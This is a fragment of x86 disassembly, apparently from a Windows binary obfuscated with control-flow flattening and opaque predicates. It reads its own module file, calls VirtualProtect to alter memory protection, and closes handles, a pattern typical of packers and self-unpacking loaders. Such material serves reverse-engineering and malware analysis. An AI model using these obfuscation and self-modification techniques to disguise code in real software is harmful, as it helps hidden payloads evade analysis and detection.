mov ecx, dword [0x1006c948]
mov eax, dword [0x1006c944]
mov edx, ecx
sub edx, 0x93a5e7f4
sub edx, 1
add edx, 0x93a5e7f4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfbd37d8e
mov ecx, 0x2dbb4af0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [ebp - 0x94]
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xb0], 0x8609ae98
jmp 0x1000420d
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x64]
mov dword [eax], ecx
mov ecx, dword [0x1006c948]
mov eax, dword [0x1006c944]
mov edx, ecx
sub edx, 0x34425b85
sub edx, 1
add edx, 0x34425b85
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcc500d68
mov ecx, 0x971629f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov dword [ebp - 0xb0], 0xbaf14ae9
jmp 0x1000420d
mov dword [ebp - 0xb0], 0xc38c83ab
jmp 0x1000420d
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x18]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x70]
mov byte [eax], cl
mov dword [ebp - 0xb0], 0x4654d369
jmp 0x1000420d
mov dword [ebp - 0xb0], 0x88c4d1ab
jmp 0x1000420d
mov dword [ebp - 0xb0], 0x2a281cec
jmp 0x1000420d
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xb0], 0x8dbeb9c3
jmp 0x1000420d
mov eax, dword [ebp - 0x10]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xb0], 0x76af5f
jmp 0x1000420d
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xb0], 0x5eb66302
jmp 0x1000420d
mov dword [ebp - 0xb0], 0x6737096
jmp 0x1000420d
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x64]
mov dword [eax], ecx
mov dword [ebp - 0xb0], 0xdf93b520
jmp 0x1000420d
jmp 0x100014af